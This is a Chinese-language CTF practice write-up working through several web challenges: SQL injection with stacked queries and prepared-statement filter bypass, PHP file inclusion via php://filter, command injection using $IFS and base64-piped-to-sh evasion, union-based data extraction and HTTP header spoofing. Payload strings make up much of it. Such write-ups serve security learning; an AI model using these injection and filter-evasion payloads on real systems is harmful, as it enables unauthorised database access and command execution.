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[强网杯 2019]随便注

方法一

查询的过程中发现有过滤

尝试以下报错注入，用到了extractvalue()

简单讲一下extractvalue()。语法：extractvalue(目标xml文档，xml路径)，路径为/xx/xx/…，如果路径非法就会报错并且返回非法内
容，所以我们正可以借此查询到目标内容，用concat()拼接‘/’也是一样的，但是拼接‘~’就不合法了：

1’ and extractvalue(1,concat(’~’,database()))#

最长32位哈，超过32用substring()截

然后看了网上各位大佬的方法，采用堆叠注入发现两张表

';show tables;#
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//查看words表的字段
';show columns from words;# 
//查看1919810931114514表的字段
';show columns from `1919810931114514`;#



可以看到word表里有id等数据，另一个表里存有flag，我们可以采用把word表改成其他的名字而把另一个表改成word从而爆出
flag



0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varcha
r(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

ALTER TABLE 表名字 CHANGE COLUMN 列名 新列名 属性

现在这个叫id的列里面的值实际上是flag了

然后输入1’or 1=1#，1当然查不到，所以会直接爆出flag

方法二

**另一种姿势：**堆叠注入+预处理

一条 SQL 在 DB 接收到最终执行完毕返回，大致的过程如下：

1. 词法和语义解析；

2. 优化 SQL 语句，制定执行计划；

3. 执行并返回结果；

如上，一条 SQL 直接是走流程处理，一次编译，单次运行，此类普通语句被称作 Immediate Statements （即时 SQL）

Mysql语法：

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

栗子：利用字符串定义预处理 SQL (直角三角形计算)



mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> SET @a = 3;
Query OK, 0 rows affected (0.00 sec)

mysql> SET @b = 4;                                                   
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
|          5 |
+------------+
1 row in set (0.00 sec)

mysql> DEALLOCATE PREPARE stmt1;                                     
Query OK, 0 rows affected (0.00 sec)

注意点

1、stmt_name 作为 preparable_stmt 的接收者，唯一标识，不区分大小写。
2、preparable_stmt 语句中的 ? 是个占位符，所代表的是一个字符串，不需要将 ? 用引号包含起来。
3、定义一个已存在的 stmt_name ，原有的将被立即释放，类似于变量的重新赋值。

本题即可利用 char() 函数将select的ASCII码转换为select字符串，接着利用concat()函数进行拼接得到select查询语句，从而绕过
过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->‘select’

payload1：不使用变量

1';PREPARE wmx from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE wmx;#

payload2：使用变量

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE wmx from @sqli;EXECUTE wmx
r;#

payload3：只是用contact(),不使用char()

1';PREPARE wmx from concat('``s``','``elect``', '` `* ``from` ``1919810931114514` ');EXECUTE wmx;#

输入任意payload都可爆出flag

*总结：堆叠注入绕过过滤，在查询语句固定的情况下可以把表和列改名字执行查询，或者采用预处理，利用contact()拼接绕过

参考：https://www.jianshu.com/p/36f0772f5ce8

[ACTF2020 新生赛]Include
php伪协议

payload：?file=php://filter/convert.base64-encode/resource=index.php



<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")
){
 exit('hacker!');
}
if($file){
 include($file);
}else{
 echo '<a href="?file=flag.php">tips</a>';
}
?>

过滤了几个，那咱们就用filter

payload：?file=php://filter/convert.base64-encode/resource=flag.php

[SUCTF 2019]EasySQL
堆叠注入看看表

然后给我整不会了，过滤了好多？

看看别的师傅的wp，nm原句长这样

select $_GET['query'] || flag from flag

意外解长这样：*,1

预期解长这样

1;set sql_mode=PIPES_AS_CONCAT;select 1

将"||"视为字符串的连接操作符而非或运算符，这和Oracle数据库是一样是，也和字符串的拼接函数Concat类似



[极客大挑战 2019]Secret File
看那几个源码，发现被重定向了

secr3t里：

想到了文件包含，试试?file=php://filter/convert.base64-encode/resource=flag.php

太长了懒得截了，base64解码一下



<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br>
<br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{f19f4950-02da-4804-9efb-edb47005e52b}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

emmmm祝这位师傅早日找到npy~

[ACTF2020 新生赛]Exec
命令执行

尝试尝试127.0.0.1;ls

直接

127.0.0.1|cat /flag



像这种什么都没过滤的题目，可以利用常见管道符直接执行命令：

常见管道符

1、|（就是按位或），直接执行|后面的语句

2、||（就是逻辑或），如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

3、&（就是按位与），&前面和后面命令都要执行，无论前面真假

4、&&（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
这里没试出来flag，用cmd试一下：

5、;（linux下有的，和&一样的作用）

参考这位师傅的博客：https://blog.csdn.net/weixin_44348894/article/details/105347418

[极客大挑战 2019]LoveSQL
万能密码登陆一下



账号 1’ or 1=1#，密码随便写

登陆成功，看一下url，是用get方式传参的

到4的时候报错
说明总共3个字段

好，开始整活儿，先看看数据库版本



1’ union select 1,version(),@@version_compile_os#

看看数据库和用户名1’union
select database(),user()#

爆表名

1’ union select 1,group_concat(table_name),table_name from information_schema.tables where table_schema=‘geek’#

爆列名

1’ union select 1,2, group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#

拿来吧你！

1’ union select 1,database(),group_concat(id,username,password) from l0ve1ysq1#



[GXYCTF2019]Ping Ping Ping
提示很明显了，url里用ip传参

试试管道符

?ip=127.0.0.1|ls

康康flag.php里面

?ip=127.0.0.1|cat flag

？我做个题还挨骂，看来是空格被过滤了

$IFS$9 绕过

?ip=127.0.0.1|cat$IFS$9flag

。。。。

过滤了不少啊，康康index里面吧那就

/?ip=127.0.0.1|cat$IFS$9index.php



<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

然后整不会了，借鉴了这位师傅https://www.freesion.com/article/6089671488/

方法一：命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二：过滤BASH用SH执行

Y2F0IGZsYWcucGhw =》cat flag.php

/?ip=127.0.0.1;echo$IFS\$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三：内联执行（将反引号内命令的输出作为输入执行）

/?ip=127.0.0.1;cat$IFS$9`ls`

[极客大挑战 2019]Knife
白给的shell直接连就行

[极客大挑战 2019]Http



源码中找到了 跟过去没发现flag

抓包改一下Referer

提示这个，再改一下浏览器

。。。。没完了是吧。

XFF伪装

拿来吧你！

创作打卡挑战赛 
赢取流量/现金/CSDN周边激励大奖
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